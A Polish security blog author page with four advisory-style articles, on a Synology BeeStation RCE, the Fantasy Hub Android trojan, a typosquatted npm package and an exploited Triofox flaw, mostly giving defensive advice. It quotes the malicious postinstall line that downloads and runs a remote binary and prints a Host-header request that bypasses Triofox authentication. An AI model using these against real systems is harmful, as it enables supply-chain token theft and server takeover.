Wojciech Ciemski, Autor w serwisie Security Bez Tabu - Strona 424 z 466

Synology łata zero-day w BeeStation po Pwn2Own Ireland 2025 (CVE-2025-12686)

Wprowadzenie do problemu / definicja luki

Synology opublikowało aktualizację bezpieczeństwa dla BeeStation OS, usuwając krytyczną podatność zademonstrowaną publicznie podczas konkursu Pwn2Own Ireland 2025. Błąd otrzymał identyfikator CVE-2025-12686 i klasyfikowany jest jako klasyczny buffer overflow (CWE-120), co umożliwia zdalne wykonanie kodu (RCE) bez interakcji użytkownika. Producent zaleca aktualizację BeeStation OS do wersji 1.3.2-65648 lub nowszej; obejmuje to wszystkie linie 1.0–1.3 (brak obejść/mitigacji bez aktualizacji).

W skrócie

  • Co się stało? Na Pwn2Own Ireland 2025 badacze z Synacktiv pokazali exploita dającego uprawnienia root na Synology BeeStation Plus; za udany atak przyznano 40 000 USD.
  • Jaki błąd? Krytyczny buffer copy without checking size of inputRCE (CVSS 9.8).
  • Co naprawiono? Synology wydało poprawkę w BeeStation OS 1.3.2-65648+; aktualizacja jest jedynym zalecanym remedium.
  • Dlaczego to ważne? BeeStation to konsumenckie „personal cloud” z dostępem przez Internet; podatność może prowadzić do pełnego przejęcia urządzenia i danych.

Kontekst / historia / powiązania

Pwn2Own to cykliczne zawody organizowane przez Trend Micro ZDI. W edycji irlandzkiej 2025 wykazano 73 zero-daye i przyznano ponad 1 mln USD nagród. Synology było jednym z głównych celów w kategorii NAS; poza BeeStation atakowano też DiskStation DS925+ i ActiveProtect. Sam producent podkreśla, że współpraca z badaczami w ramach Pwn2Own i programu bug bounty jest elementem jego strategii bezpieczeństwa.

Warto przypomnieć, że również w 2024 r. BeeStation miało zestaw luk ujawnionych po Pwn2Own (RCE, odczyt plików, zapis plików w scenariuszu MiTM), co zaowocowało poradnikiem Synology-SA-24:23 i poprawkami w marcu 2025. Dzisiejsza luka to nowy błąd z innym CVE.

Analiza techniczna / szczegóły luki

  • Identyfikator: CVE-2025-12686
  • Klasa błędu: buffer overflow (CWE-120) → kopiowanie danych bez weryfikacji długości wejścia.
  • Wektor ataku: zdalny, bez uwierzytelnienia, bez interakcji użytkownika (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
  • Skutki: zdalne wykonanie dowolnego kodu na urządzeniu (RCE) z możliwością uzyskania uprawnień root.
  • Zakres produktów: wszystkie gałęzie BeeStation OS 1.0–1.3 przed 1.3.2-65648.
  • Atrybucja PoC: @Tek_7987 i @_Anyfun (Synacktiv) – demonstracja exploita podczas Pwn2Own Ireland 2025 na BeeStation Plus.

Choć Synology nie publikuje szczegółów implementacyjnych (CVE ma status RESERVED na cve.org), publiczny opis ZDI z dnia zawodów wskazuje na stack-based overflow prowadzący do root-level code execution. Do czasu pełnej publikacji ZDI szczegóły (np. konkretna usługa/endpoint) pozostają niejawne z uwagi na odpowiedzialne ujawnianie.

Praktyczne konsekwencje / ryzyko

  • Przejęcie urządzenia i danych: atakujący może uzyskać pełny dostęp do plików („personal cloud”), dodać konta, podmienić kopie zapasowe lub użyć urządzenia jako przyczółka w sieci domowej/SMB.
  • Ransomware i exfiltracja: NAS z publicznym dostępem (QuickConnect, port forwarding, eksponowane reverse proxy) to atrakcyjny cel dla operatorów ransomware.
  • Botnety i pivoting: przejęte BeeStation mogą zostać użyte do DDoS/cryptojackingu oraz jako pivot do kolejnych hostów (np. router, stacje robocze).
  • Ryzyko łańcucha dostaw rodzinnej/chmurowej: współdzielone foldery, klienty desktop/mobile i mapowane dyski zwiększają powierzchnię nadużyć.

Te scenariusze są typowe dla RCE na urządzeniach NAS, a medialne doniesienia potwierdzają wagę problemu w tej konkretnej luce.

Rekomendacje operacyjne / co zrobić teraz

1) Natychmiastowa aktualizacja (MUST):
Zaktualizuj BeeStation OS do ≥ 1.3.2-65648. Brak rekomendowanych mitigacji zastępczych. W GUI: Ustawienia → Aktualizacje → Sprawdź aktualizacje → Zainstaluj. Jeżeli używasz trybu offline, pobierz obraz z portalu wsparcia Synology i wykonaj aktualizację ręczną.

2) Ogranicz ekspozycję sieciową:

  • Wyłącz przekierowania portów w routerze do BeeStation, jeżeli nie są absolutnie konieczne.
  • Preferuj VPN do dostępu zdalnego zamiast wystawionych usług.
  • Jeśli korzystasz z reverse proxy, ogranicz do autoryzowanych adresów/IP (ACL) i włącz 2FA na kontach Synology. (Dobre praktyki ogólne dla NAS.)

3) Twarde polityki kont i haseł:

  • Wyłącz/usuń nieużywane konta, wymuś unikalne hasła, włącz 2FA.
  • Audytuj uprawnienia współdzielonych folderów (zasada najmniejszych uprawnień).

4) Monitoring i detekcja:

  • Przejrzyj logi logowania/administracyjne i historię zadań (nietypowe logowania, nowe konta, zmiany w regułach udostępnień).
  • Na brzegu sieci wprowadź reguły IDS/IPS (np. reguły dla protokołów HTTP(S) urządzenia) i alerty na nietypowy outbound (np. kopanie krypto, połączenia do TLD dynamicznych).
  • Rozważ segmentację (VLAN „IoT/NAS”) i ruch kontrolowany politykami L3/L7.

5) Kopie zapasowe i odzyskiwanie:

  • Wykonaj świeży backup 3-2-1 poza BeeStation (np. WORM/immutable snapshot w innej lokalizacji).
  • Test odzyskiwania (table-top) po aktualizacji.

6) Respond & harden (opcjonalnie – dla SOC/SecOps):

  • IOCs: szukaj nietypowych procesów/binarek w /usr/*, nowych zadań crontab, połączeń stałych do zewnętrznych VPS.
  • Jeżeli urządzenie było publicznie dostępne przed łatą, rozważ incident review: kopia forensic, zmiana haseł, rotacja tokenów.

Różnice / porównania z innymi przypadkami

  • BeeStation 2024 (SA-24:23): pakiet luk obejmował RCE, odczyt plików oraz zapis plików w scenariuszu MiTM. Obecna podatność 2025 to oddzielny zero-day (nowe CVE), także RCE, lecz wskazany wprost jako buffer overflow z CVSS 9.8 i bez mitigacji poza aktualizacją.
  • Inne cele NAS na Pwn2Own 2025: poza BeeStation, na podium były DS925+ i ActiveProtect; nagrody i wektory ataku w regulaminie ZDI potwierdzają wagę kategorii NAS.

Podsumowanie / kluczowe wnioski

  • CVE-2025-12686 to krytyczne RCE w Synology BeeStation OS, ujawnione na Pwn2Own Ireland 2025.
  • Jedyną skuteczną ochroną jest aktualizacja do 1.3.2-65648+bez obejść konfiguracyjnych.
  • Zredukowanie ekspozycji NAS (brak port-forwardingu, dostęp przez VPN, segmentacja) i twarde polityki kont/monitoringu pozostają najlepszą praktyką obronną.

Źródła / bibliografia

  1. Synology-SA-25:12 – BeeStation (PWN2OWN 2025) – oficjalna porada bezpieczeństwa z wersjami naprawczymi i CVSS/CWE. (Synology)
  2. BleepingComputer – „Synology fixes BeeStation zero-days demoed at Pwn2Own Ireland” – kontekst medialny, data, opis Pwn2Own i statystyki edycji. (BleepingComputer)
  3. ZDI Blog – „Pwn2Own Ireland 2025: Day One Results” – potwierdzenie wektora (stack overflow), zespołu i nagrody za BeeStation Plus. (Zero Day Initiative)
  4. ZDI – Pwn2Own Ireland 2025 Rules – wartości nagród i kategoria NAS (BeeStation Plus, DS925+, ActiveProtect). (Zero Day Initiative)
  5. Synology-SA-24:23 – BeeStation (PWN2OWN 2024) – kontekst historyczny wcześniejszych luk BeeStation. (Synology)

Androidowy trojan „Fantasy Hub”: Telegram jako panel MaaS, nadużycie roli SMS i podsłony bankowe

Wprowadzenie do problemu / definicja luki

Badacze ujawnili nowy komercyjny złośliwy pakiet na Androida – Fantasy Hub – sprzedawany w modelu Malware-as-a-Service (MaaS) na rosyjskojęzycznych kanałach Telegrama. To RAT/spyware oferujący zdalną kontrolę nad urządzeniem: kradzież SMS-ów, kontaktów, logów połączeń, multimediów, przechwytywanie/odpowiadanie/ukrywanie powiadomień oraz podsłony bankowe. Dystrybucję ułatwia bot subskrypcyjny i generator „trojanizowanych” APK, który po wgraniu dowolnego pliku instalacyjnego zwraca jego zainfekowaną wersję.


W skrócie

  • Model biznesowy: pełny MaaS z botem Telegram do zarządzania subskrypcją i builderem droppera; cennik w ujęciu tygodniowym/miesięcznym/rocznym.
  • Techniki kluczowe:
    • Native dropper w bibliotece metamask_loader odszyfrowujący zaszyty w assetach ładunek (XOR + gzip) – redukcja wskaźników statycznych.
    • Nadużycie roli „domyślnej aplikacji SMS” – jedna akceptacja = pakiet silnych uprawnień i dostęp do 2FA przez SMS.
    • WebRTC do streamingu audio/wideo na żywo (kamera/mikrofon) do C2.
    • Podsłony bankowe (Alfa, PSB, T-Bank, Sber) + możliwość tworzenia własnych okien phishingowych.
  • Wejście do łańcucha ataku: fake aktualizacje Google Play, fałszywe landing pages Google Play z opiniami, trojanizacja dowolnego APK przez usługę.
  • Skala trendu: wzrost transakcji związanych z malware na Androida; setki złośliwych aplikacji w oficjalnym sklepie wg ThreatLabz.

Kontekst / historia / powiązania

Fantasy Hub wpisuje się w trend komodytyzacji spyware/banking trojanów: łatwe panele C2, abonamenty, wsparcie „operatora”, a nawet poradniki socjotechniczne. Zimperium łączy wzorce operacyjne z wcześniejszymi rodzinami ClayRAT (nadużycie roli SMS) i HyperRat (integracja z Telegramem). Równolegle ThreatLabz raportuje 67% r/r wzrost aktywności malware mobilnego i dziesiątki milionów instalacji szkodliwych aplikacji z Google Play (2024–2025). W regionie CEE widzimy dodatkowo kampanie NFC-relay (np. NGate wymierzone w polskie banki), co wskazuje na dywersyfikację taktyk przeciwko kanałom płatności i autoryzacji.


Analiza techniczna / szczegóły luki

Łańcuch infekcji

  1. Wejście: ofiara trafia na sfałszowaną kartę Google Play (klony Telegrama i inne), bądź otrzymuje APK „aktualizacji Google Play”.
  2. Dropper (native): biblioteka metamask_loader w runtime odszyfrowuje i dekompresuje zaszyty ładunek (metadata.dat) → zapis na dysk → uruchomienie. Cel: ukrycie wskaźników statycznych przed skanerami.
  3. Eskalacja uprawnień przez UX: aplikacja żąda ustawienia jako domyślna aplikacja SMS, co automatycznie agreguje szerokie uprawnienia (czytanie/zarządzanie SMS, dostęp do kontaktów, kamer, plików).
  4. Komunikacja/C2:
    • Integracja z Telegramem – konfiguracja botów, rozdział alertów o różnym priorytecie, automatyzacja powiadomień o nowych ofiarach.
    • Panel C2 (rosyjskojęzyczny) pokazuje status urządzeń (online/offline), model, SIM-y, czas subskrypcji; pozwala wysyłać komendy (SMS, kontakty, powiadomienia, zrzuty, itp.).
    • WebRTC live stream – pobieranie bibliotek i cichy streaming A/V; system wyświetla krótką adnotację o aktywnym streamie.
  5. Monetyzacja: podsłony bankowe (wielokrotne „launcher icons” via activity-alias → WebView z phishingiem + JS-bridge) oraz przechwytywanie 2FA przez SMS.

Cennik i automatyzacja dystrybucji
Bot oferuje upload dowolnego APK → zwrot trojanizowanego APK; płatności w modelu tygodniowym/miesięcznym/rocznym. Ta automatyzacja obniża próg wejścia dla „operatorów-amatorów”.


Praktyczne konsekwencje / ryzyko

  • BYOD i dostęp korporacyjny: przejęte urządzenie = ryzyko wycieku danych firmowych (M365/Google Workspace), eskalacja przez MFA-SMS i przejęcie sesji.
  • Bankowość i płatności: kradzież poświadczeń przez overlay + 2FA w SMS → transakcje nieautoryzowane, social engineering z potwierdzeniami w czasie rzeczywistym.
  • Prywatyzacja nadzoru: live streaming kamerą/mikrofonem umożliwia podsłuch i rekonesans fizyczny (np. ekrany komputerów podczas pracy zdalnej).
  • Sklepy z aplikacjami: nawet oficjalne repozytoria nie są wolne od ryzyka (dziesiątki milionów instalacji złośliwych aplikacji wg ThreatLabz).

Rekomendacje operacyjne / co zrobić teraz

Strategia „zmniejsz zaufanie do SMS”

  • Wycofuj SMS jako główny drugi składnik w dostępie do systemów firmowych. Preferuj FIDO2/WebAuthn lub TOTP w zabezpieczonych kontenerach. (Uzasadnienie: rola domyślnej aplikacji SMS daje napastnikowi pełną kontrolę nad 2FA)

Polityki Android Enterprise / MDM

  • Wymuś instalację tylko z Google Play i blokuj „Nieznane źródła”, a także Private/Managed Play z allowlistą.
  • Zabroń zmiany domyślnej aplikacji SMS lub monitoruj eventy przekazania roli ROLE_SMS (Device Policy/Enterprise Mobility).
  • Blokuj nakładki (draw-over-other-apps) dla aplikacji spoza listy zaufanych – ogranicza skuteczność podsłon bankowych.
  • Włącz Play Protect/attestation i SafetyNet/Play Integrity oraz wymuś aktualność łatek (min. „Android security patch level” w MDM).

Twarde kontenery i zarządzanie danymi

  • W BYOD, preferuj Work Profile; wymuś, by aplikacje firmowe działały wyłącznie w profilu służbowym i nie dzieliły danych z profilem prywatnym.

Detekcja w SOC/MTD

  • Zastosuj Mobile Threat Defense (np. skanowanie behawioralne, wykrywanie „default SMS app change”, nadmiarowych uprawnień, runtime-hooków, WebRTC stream w tle, rejestrowanie requestów do zasobów C2). (Mechanizmy te opisuje m.in. Zimperium w kontekście detekcji Fantasy Hub.)
  • Monitoruj zdarzenia Accessibility Service + SYSTEM_ALERT_WINDOW, rejestrowanie intentów ROLE_SMS, prób overlay/phishing (WebView z wstrzykniętym JS-bridge).

Higiena użytkownika

  • Nie instaluj „aktualizacji Google Play” spoza sklepu, nie dawaj roli „domyślna aplikacja SMS” aplikacjom spoza listy zaufanych.
  • Zwracaj uwagę na ekran streamingu (Android system potrafi sygnalizować aktywny podgląd kamery/mikrofonu).

Szybkie playbooki IR (przykładowe kroki)

# 1) Identyfikacja (ADB lokalnie – urządzenie użytkownika)
adb shell cmd role holders android.app.role.SMS   # sprawdź, kto ma rolę SMS
adb shell pm list packages -3                     # lista aplikacji stron trzecich
adb shell dumpsys activity top | head -n 50       # aktywne aktywności (szukaj podejrzanych WebView/overlay)
adb shell cmd appops query-op CAMERA              # dostęp do kamery/mikrofonu

# 2) Kwarantanna
adb shell am force-stop <podejrzany.pkg>
adb shell pm uninstall --user 0 <podejrzany.pkg>  # tylko za zgodą użytkownika/IR-procedury
adb shell cmd role set-browser none               # tymczasowe odcięcie niestandardowych przeglądarek, jeśli uzasadnione

# 3) Triage artefaktów
adb shell run-as <podejrzany.pkg> ls files/
adb shell logcat -d | grep -i webrtc

Uwaga: operacje ADB wykonuj wyłącznie w kontrolowanym IR, z politykami RODO i zgodą właściciela urządzenia. W środowiskach zarządzanych preferuj akcje MDM (wipe profilu służbowego, blocklist, reset roli SMS).

Reguły detekcyjne – pomysły (do adaptacji)

  • SIEM: alert, gdy ROLE_SMS zmieniona na aplikację spoza allowlisty; koreluj z żądaniami sieciowymi do Telegram API i nietypową telemetrią WebRTC.
  • NTA/Proxy: anomalie WebRTC/ICE/STUN z urządzeń mobilnych poza godzinami pracy; outbound do znanych punktów C2 (gdy IoC dostępne).
  • EDR mobilny/MTD: sygnatury bibliotek metamask_loader, asset metadata.dat, dekompresje gzip w natywnych libach + XOR-pattern (36-bajtowy klucz) – na bazie opisu badaczy.

Różnice / porównania z innymi przypadkami

  • ClayRAT – podobne przejęcie roli SMS jako pojedyncza zgoda = szerokie kompetencje aplikacji. Fantasy Hub intensywnie korzysta z tego wektora.
  • HyperRatarchitektura z Telegramem do notyfikacji i zarządzania, zbliżona koncepcja integracji botów.
  • Anatsa/ERMAC/TrickMo – ciężar na podsłony bankowe i wyłudzenie danych uwierzytelniających; Fantasy Hub łączy to z live-streamingiem i builderem droppera (większa „kompletność” narzędzia).
  • NGate (NFC-relay, PL) – inna technika (atak na zbliżeniowe płatności), ale podobny cel: obchodzenie mechanizmów autoryzacji w ekosystemie mobilnym.

Podsumowanie / kluczowe wnioski

Fantasy Hub pokazuje, jak niskim kosztem można dziś prowadzić pełnoskalowe operacje na Androidzie: builder trojanizujący, panel C2, automat subskrypcji i instrukcje socjotechniczne. Najgroźniejsze komponenty to rola domyślnej aplikacji SMS (2FA), podsłony bankowe i WebRTC live-stream. Dla SOC najważniejsze jest odchodzenie od SMS-2FA, twarde polityki Android Enterprise, oraz telemetria MTD kładąca nacisk na zmiany roli SMS, overlaye i anomalię WebRTC.


Źródła / bibliografia

  1. The Hacker News – Android Trojan 'Fantasy Hub’ Malware Service Turns Telegram Into a Hub for Hackers, 11 listopada 2025. (The Hacker News)
  2. Zimperium (zLabs) – Fantasy Hub: Another Russian Based RAT as M-a-a-S, 6 listopada 2025. (Zimperium)
  3. Zscaler ThreatLabz – Industry Attacks Surge, Mobile Malware Spreads: The ThreatLabz 2025 Mobile, IoT & OT Report. (zscaler.com)
  4. CERT Polska – Analysis of NGate malware campaign (NFC relay), 2025. (cert.pl)

Złośliwy pakiet npm „@acitons/artifact” celował w repozytoria należące do GitHuba — analiza incydentu i zalecenia dla zespołów DevSecOps


Wprowadzenie do problemu / definicja luki

Badacze wykryli złośliwy pakiet npm @acitons/artifact będący klasycznym typosquattingiem na @actions/artifact (oficjalny pakiet GitHub Actions odpowiedzialny za artefakty CI/CD). Celem kampanii było uruchomienie złośliwego skryptu w środowisku budowania, kradzież tokenów dostępnych w jobach GitHub Actions i potencjalne publikowanie artefaktów jako GitHub (impersonacja organizacji) lub dalsza eskalacja w łańcuchu dostaw. Źródłem technicznych szczegółów jest analiza Veracode, na którą powołuje się m.in. The Hacker News.


W skrócie

  • Złośliwy pakiet: @acitons/artifact – literówka „acitons” zamiast „actions”.
  • Wersje zawierające malware: od 4.0.12 do 4.0.17 (usunięte przez sprawcę; najnowsza „bezpieczna” na npm pozostawała 4.0.10 w chwili publikacji).
  • Mechanizm infekcji: postinstall w package.json pobierał binarkę harness, która wykonywała obfuskowany shell/JS (verify.js).
  • Cele: repozytoria należące do organizacji GitHub; skrypt kończył działanie, jeśli właścicielem nie był github.
  • Dane wykradane: zmienne GITHUB_* (np. tokeny) i egfiltracja w formie zaszyfrowanej do hostów w domenie app.github.dev.
  • Skala: ~47 405 pobrań w sumie (wg npm-stat) i ~31 398 tygodniowo w szczycie.
  • Powiązany pakiet: 8jfiesaf83 (również złośliwy, usunięty).

Kontekst / historia / powiązania

Ekosystem npm od miesięcy mierzy się z eskalacją ataków na łańcuch dostaw: kompromitacje maintainerów, typosquatting, złośliwe hooki instalacyjne i łańcuchowe infekcje jobów CI/CD. Jesienią 2025 r. CISA i partnerzy ostrzegali o „szeroko zakrojonej kompromitacji” w npm oraz rekomendowali rotację poświadczeń i wzmocnienie polityk publikacji. W tym tle atak na @acitons/artifact wpisuje się w trend uderzeń w pipeline’y CI/CD i tokeny automatyzacji.

Warto przypomnieć, że oryginalny @actions/artifact jest komponentem wewnętrznym dla akcji upload/download-artifact i jest powszechnie używany w workflow GitHub Actions — co czyni go łakomym kąskiem dla typosquattingu.


Analiza techniczna / szczegóły luki

Wejście wektorowe (typosquatting):
Atak polegał na publikacji pakietu @acitons/artifact (zamiana „ti”→„it”) z metadanymi sugerującymi powiązanie z oficjalnym repo actions/toolkit. Tego typu literówkę łatwo przeoczyć w zależnościach lub w logach CI.

Hook instalacyjny
W złośliwych wersjach (4.0.12–4.0.17) w package.json umieszczono skrypt:

"scripts": {
  "postinstall": "curl https://gist.githubusercontent.com/.../harness -o ci_test_harness && chmod +x ci_test_harness && ./ci_test_harness"
}

Plik harness był obfuskowanym skryptem powłoki (skompilowanym narzędziem „Shell Script Compiler”) z mechanizmem samorestartu i datą ważności (kill switch) po 2025-11-06 UTC. Jego łańcuch uruchomienia wydobywał z siebie paczkę Node z obfuskowanym verify.js.

Warunki celu i eksfiltracja
verify.js sprawdzał obecność zmiennych GITHUB_* ustawianych w jobach Actions i opuszczał działanie, jeśli repozytorium nie należało do organizacji github. Zebrane dane szyfrowano AES (klucz pobierany z hosta w hopto[.]org) i eksfiltrację kierowano do pliku hostowanego w subdomenie app.github.dev. To minimalizowało „szum” detekcyjny (legalnie wyglądająca domena) i utrudniało korelację.

Wskaźniki kompromitacji (IoC)
Veracode podaje m.in.:

  • Pakiety/wersje: @acitons/artifact@4.0.12…4.0.17, 8jfiesaf83@1.0.0…1.0.11
  • Konta npm/GitHub: blakesdev, jmasdg, f8snaf, s0larized
  • Hash: e3a6d0d139dc56f28f82ec161b3d17ecd137b088acd3a0e8330a5d412c025b73 (próbka)

Skala pobrań
Szacunki z npm-stat wskazują ~47 tys. pobrań łącznie i ~31 tys. w tygodniu kulminacyjnym, co pokazuje, jak szybko typosquat może wejść w obieg przy minimalnym tarciu. (Uwaga: npm-stat aktualizuje się z opóźnieniem dobowym).


Praktyczne konsekwencje / ryzyko

  • Kompromitacja GITHUB_TOKEN i sekretów joba → możliwość podszycia się pod organizację, publikacja artefaktów, modyfikacja release’ów, dołączanie złośliwych komponentów do pipeline’u.
  • Zaufanie do artefaktów — jeśli token wycieknie, atakujący może „zatrącać” supply chain na kolejnych etapach (downstream).
  • Trudna detekcja — domeny pokrewne GitHubowi (app.github.dev) i logika warunkowa ograniczająca cel do organizacji github zmniejszają widoczność incydentu w telemetrii.
  • Efekt kaskadowy — na tle wcześniejszych kampanii npm (CISA, wrzesień 2025) widać, że ataki na CI/CD są trendem, nie anomalią.

Rekomendacje operacyjne / co zrobić teraz

1) Natychmiastowe działania reagowania (IR)

Skan IoC i historię buildów:

  • Przeskanuj logi pipeline’ów i rejestry artefaktów pod kątem użycia @acitons/artifact (dowolnej wersji) i 8jfiesaf83.
  • Zweryfikuj, czy w Twojej organizacji nie pojawiały się odwołania do kont blakesdev, jmasdg, f8snaf, s0larized lub do domen *.app.github.dev/*.hopto.org w kontekście jobów CI.

Rotacja sekretów:

  • Wymuś rotację GITHUB_TOKEN oraz innych sekretów występujących w workflow, w których mogło dojść do instalacji z npm (w tym w jobach uruchamiających npm i). Rekomendację rotacji w podobnych zdarzeniach wspiera CISA.

2) Szybkie „bezpieczniki” w pipeline

Wyłącz postinstall w środowiskach CI:

# Na stałe w agentach CI (globalnie):
npm config set ignore-scripts true

# Lub per-run (preferowane w CI):
npm ci --ignore-scripts
# (analogicznie dla pnpm/yarn: pnpm i --ignore-scripts / yarn install --ignore-scripts)

Wymuś „no-audit” z repo zaufanym (tylko jeśli masz wewn. mirror/air-gap):

npm config set registry https://twoj-nexus-proxy.example.com/repository/npm/

Blokuj nieznane przestrzenie nazw (scope’y) i typosquatting

  • Użyj allow-list dla scope’ów/kont dostawców w SCA/ASPM (np. blokuj wszystko poza @actions/, @org-wewnętrzna/ itd.).
  • Włącz reguły detekcji typosquattingu (Levenshtein ≤1 dla krytycznych pakietów).

Pinuj wersje i hashe artefaktów

  • W GitHub Actions ustaw permissions: na minimalne, wyłącz persist-credentials w checkout, pinuj akcje po SHA zamiast po @vX.
    Przykład minimalnego szablonu:
name: ci
on: [push]
permissions:
  contents: read
  actions: read
  id-token: none
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<commit-sha>
        with:
          persist-credentials: false
      - uses: actions/setup-node@<commit-sha>
        with:
          node-version: '20'
      - run: npm ci --ignore-scripts
      - run: npm audit --audit-level=high || true
      - name: Upload artifact
        uses: actions/upload-artifact@<commit-sha>
        with:
          name: build-output
          path: dist/

Waliduj artefakty (digesty)
GitHub dokumentuje mechanizmy weryfikacji digestu między upload/download-artifact — korzystaj z nich, egzekwuj walidację w pipeline.

3) Detekcja i hunting

Wykrywanie „podejrzanych” postinstalli w lockfile/repo:

# Prosty hunting w node_modules (CI/cache build):
grep -R --line-number '"postinstall":' node_modules 2>/dev/null

# Szukanie curl/wget w hookach instalacyjnych:
grep -R --line-number -E 'postinstall.*(curl|wget)' node_modules 2>/dev/null

Kontrola zależności w SCA/ASPM
Zaimportuj IoC i listę złośliwych wersji do narzędzia SCA (część vendorów – w tym Veracode – dodała sygnatury).

Blokowanie egress
Segmentuj sieć agentów CI; blokuj wyjścia na dynamiczne hosty (np. *.hopto.org) i egzekwuj mTLS / egress allow-list dla ruchu z jobów.

4) Higiena developerów

  • Uczul zespół na literówki w scope’ach (@acitons vs @actions).
  • Włącz npm ci (reproducible builds) zamiast npm install.
  • Wymuś code review zmian w package.json/package-lock.json i monitoruj PR-y dodające nowe zależności (policy-as-code).

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • Ataki łańcucha dostaw w npm (IX–X 2025): liczne incydenty (m.in. masowe kompromitacje i kradzieże krypto przez biblioteki zależności) uderzały szeroko w użytkowników. Bieżąca kampania różni się wąsko ukierunkowanym celem (GitHub-owned repos) oraz warunkową logiką ograniczającą aktywację poza organizacją GitHub — to bardziej „surgical strike” niż atak masowy.
  • W przeciwieństwie do kompromitacji istniejących, popularnych pakietów, tutaj mieliśmy typosquatting podszywający się pod powszechnie używany komponent pipelines. To zmienia wektory prewencji: ważniejsze staje się allow-listing i kontrola nazewnictwa niż tylko zaufanie do maintainerów.

Podsumowanie / kluczowe wnioski

  1. Typosquatting + postinstall w ekosystemie npm nadal skutecznie omija czujność zespołów, zwłaszcza w CI.
  2. Atak na @acitons/artifact pokazał, że tokeny CI/CD są celem samym w sobie; ich kradzież umożliwia podszywanie się i dalszą kompromitację supply chain.
  3. Operacyjne „bezpieczniki” (ignore-scripts w CI, pinning po SHA, minimalne permissions, allow-list scope’ów) istotnie ograniczają powierzchnię ataku.
  4. Utrzymuj telemetrię i hunting na hooki instalacyjne i nietypowe egressy z agentów CI.
  5. Reaguj: przeszukaj buildy, rotuj sekrety, sprawdź artefakty i audytuj zależności.

Źródła / bibliografia

  • The Hacker News — Researchers Detect Malicious npm Package Targeting GitHub-Owned Repositories (11 listopada 2025). (The Hacker News)
  • Veracode — Malicious NPM Package Found Targeting GitHub By Typosquatting on GitHub Action Packages (10 listopada 2025) — analiza techniczna i IoC. (Veracode)
  • npm-stat — statystyki pobrań @acitons/artifact. (npm-stat.com)
  • GitHub Docs — walidacja artefaktów (digest) w Actions. (GitHub Docs)
  • CISA — alert dot. szerokiej kompromitacji łańcucha dostaw w npm (wrzesień 2025) — tło i zalecenia. (CISA)

Krytyczna luka w Triofox (CVE-2025-12480) aktywnie wykorzystywana: jak działa atak i jak się bronić

Wprowadzenie do problemu / definicja luki

W Triofox (platforma zdalnego dostępu/udostępniania plików firmy Gladinet) wykryto krytyczną lukę CVE-2025-12480 o wektorze AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (CVSS 9.1). Błąd to niewłaściwa kontrola dostępu: po instalacji nadal można było dotrzeć do stron wstępnej konfiguracji (m.in. AdminDatabase.aspxAdminAccount.aspxInitAccount.aspx) i utworzyć natywne konto administratora, obchodząc uwierzytelnianie. Luka jest aktywnie wykorzystywana w kampaniach przypisywanych klastrowi UNC6485. Producent usunął problem w wydaniu 16.7.10368.56560 (lipiec 2025).


W skrócie

  • Co się dzieje? Napastnicy modyfikują nagłówek Host: localhost (atak na nagłówek Host w ASP.NET), by uzyskać dostęp do stron setupu i założyć administratora; następnie wykorzystują funkcję wbudowanego „antywirusa” do uruchomienia własnego pliku z uprawnieniami SYSTEM.
  • Status poprawek: naprawione od 16.7.10368.56560; starsze wersje są podatne. Aktualizuj natychmiast.
  • Dowód eksploatacji: Mandiant/Google obserwował realne włamania od 24 sierpnia 2025 r. (po wydaniu łat).
  • Priorytet: wysoki – publicznie dostępne instancje Triofox narażają konto domenowe/serwer plików i dane.
  • Szybkie działania: aktualizacja, audyt kont admina, zablokowanie dostępu do ścieżek setupu na WAF/reverse proxy, walidacja nagłówków, wyłączenie/ograniczenie „AV path”, monitorowanie artefaktów z analizy poniżej.

Kontekst / historia / powiązania

To trzecia w tym roku aktywnie wykorzystywana podatność Triofox/CentreStack. Wcześniej:

  • CVE-2025-30406 – deserializacja ViewState przez twardo zakodowane machineKey (RCE).
  • CVE-2025-11371 – LFI w domyślnej konfiguracji umożliwiający wyciek kluczy i dalsze RCE; dodana do katalogu CISA KEV.

Obecny incydent (CVE-2025-12480) został szeroko opisany przez SecurityWeek i Google Cloud/Mandiant.


Analiza techniczna / szczegóły luki

1) Bypass uwierzytelniania przez nagłówek Host

  • W ASP.NET właściwość Request.Url powstaje na bazie nagłówka Host. W Triofox metoda kontroli dostępu (np. GladPageUILib.GladBasePage.CanRunCriticalPage()) uznaje żądanie za zaufane, jeśli Request.Url.Host == "localhost".
  • Atakujący wysyła żądanie HTTP do AdminDatabase.aspx z Host: localhost, co omija standardowe przekierowanie do AccessDenied.aspx. Z tej strony można kontynuować wstępną konfigurację i utworzyć konto admina.

Przykładowe żądanie (laboratoryjne)

GET /management/AdminDatabase.aspx HTTP/1.1
Host: localhost
User-Agent: curl/8.7
Accept: */*

W praktyce żądanie kierowane jest do publicznego adresu serwera Triofox, ale z nagłówkiem Host ustawionym na localhost. Reverse proxy bez twardej walidacji hosta przepuści takie żądanie do aplikacji.

2) Eskalacja do RCE przez „antywirus”

Po utworzeniu konta admin napastnik loguje się do GUI, publikuje udział, wrzuca pliki i konfiguruje ścieżkę skanera AV na własny skrypt (np. .bat). Mechanizm uruchamia wskazany plik z kontekstu SYSTEM (dziedziczenie PID procesu Triofox), co daje zdalne wykonanie kodu. W opisywanym incydencie pobrano legalny instalator Zoho UEMS, a następnie wdrożono Zoho Assist i AnyDesk w celu utrzymania dostępu (LOTL).

Artefakty z telemetrii (wg Mandiant)

  • log HTTP z refererem http://localhost/... przy żądaniu do CommitPage.aspx;
  • komenda: cmd.exe /c "c:\triofox\centre_report.bat" ... (wywołanie skryptu wskazanego jako „AV”);
  • pobranie SAgentInstaller_16.7.10368.56560.exe i uruchomienie cichym trybem; instalacja narzędzi zdalnego wsparcia;
  • tunelowanie przez narzędzia pokroju PLINK oraz dwie binarki do enkapsulacji/SSH.

3) Wersje podatne / poprawka

  • Podatne: wszystkie wersje < 16.7.10368.56560.
  • Naprawa: 16.7.10368.56560 (blokada dostępu do stron inicjalnych po zakończonej konfiguracji).

Praktyczne konsekwencje / ryzyko

  • Przejmowanie serwerów Triofox i – po integracji z AD/serwerami plików – eskalacja w domenie (zmiany haseł, dodanie użytkowników do Domain Admins).
  • Utrzymanie dostępu poprzez legalne narzędzia (Zoho Assist/AnyDesk), co utrudnia detekcję i zwiększa MTTD.
  • Exfiltracja danych z udziałów SMB/Triofox, ryzyko ransomware i lateral movement.
